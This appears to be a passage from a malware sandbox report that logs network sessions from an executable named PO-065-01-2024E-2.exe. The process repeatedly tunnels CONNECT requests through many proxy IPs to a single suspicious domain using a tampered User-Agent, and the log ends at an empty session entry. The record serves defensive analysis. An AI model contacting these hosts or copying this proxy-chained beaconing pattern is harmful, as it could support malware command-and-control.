Mar 11, 2024 16:39:47.778798103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879650116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909846067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.911124945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.910829067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.913846970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.910645008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.911525965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:47.973237038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.10	52721	104.20.178.166	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.780756950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.935194969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.10	52006	66.29.131.58	30885	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.781660080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879556894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.10	52709	44.226.167.102	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.785763025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.978645086 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.10	50598	51.158.96.66	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.785917997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.785994053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786910057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786178112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.786298037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.10	52696	23.19.244.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.796278954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.10	52661	15.207.35.241	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.801934004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.209873915 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.10	50616	173.212.209.216	27138	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.802229881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973248959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.10	50530	152.32.132.220	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.803776979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973304987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.276592970 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 15:44:22 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.10	52681	192.162.232.15	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.808362007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.10	51978	109.194.22.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.809885979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.10	52678	185.132.242.212	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.810072899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.10	52719	158.51.210.75	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.816087961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.10	52190	64.227.108.25	31908	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.821518898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.10	52683	217.145.199.47	56746	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.822191000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.10	52688	211.222.252.187	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.822916031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.10	52761	172.67.253.69	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.837207079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.991424084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.10	52758	74.48.7.43	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.837752104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.10	52785	104.19.171.188	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.838361025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.992670059 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.10	52793	104.16.25.216	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.838515997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.992928028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.10	52697	72.206.181.105	64935	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.840262890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.10	52808	104.21.124.121	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.843477964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.998059988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.10	52827	172.67.182.102	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.845175982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.999569893 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.10	52831	104.20.125.124	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.845823050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.999866962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.10	52716	98.170.57.249	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.851599932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.10	52828	162.159.241.160	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
